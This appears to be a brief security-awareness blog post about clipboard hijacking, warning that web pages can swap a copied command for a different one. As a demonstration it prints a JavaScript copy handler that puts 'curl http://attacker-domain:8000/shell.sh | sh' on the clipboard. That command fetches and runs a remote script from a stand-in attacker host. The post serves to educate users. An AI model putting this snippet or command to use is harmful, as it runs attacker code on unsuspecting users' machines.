Visitors: 0

Don't just copy & paste commands from web pages. You can get Hacked!

https://www.wizer-training.com/blog/copy-paste

image

Many people around the world who have just started coding, or have come to some roadblock, usually copy and paste commands from web forums.

This is a simple way of making your application or terminal work without much thinking.

But it has been shown that, if you are simply copying and pasting the commands in your terminal from an online forum, there can be some hackers who would have planted a code on that forum. 

Java Scripts can change what is written inside the text snippet that is being displayed on a particular website. So, when you copy the command, it changes the text that is saved on the clipboard and when you paste it on your terminal, there is different command entirely, and if you run the code, it will execute itself on the terminal forever.

To show this, you can check out the attached website in bookmark, and yourself see, what happens when you copy the code.

The Java Script code is below;

<script>
document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); });
 </script>

How does it works?
You will see something like this below:

sudo apt update

and when you have copied the above command, something else will be on your clipboard, which is shown below;

curl http://attacker-domain:8000/shell.sh | sh

This is just an example, you may end up having a malicious code run on your terminal.

 

Topics


Jammu & Kashmir - History, Culture & Traditions | J&K Current Trends | Social Network | Health | Lifestyle | Human Resources | Analytics | Cosmetics | Cosmetology | Forms | Jobs



Quote of the Day


"Time Flies Over, but Leaves its Shadows Behind"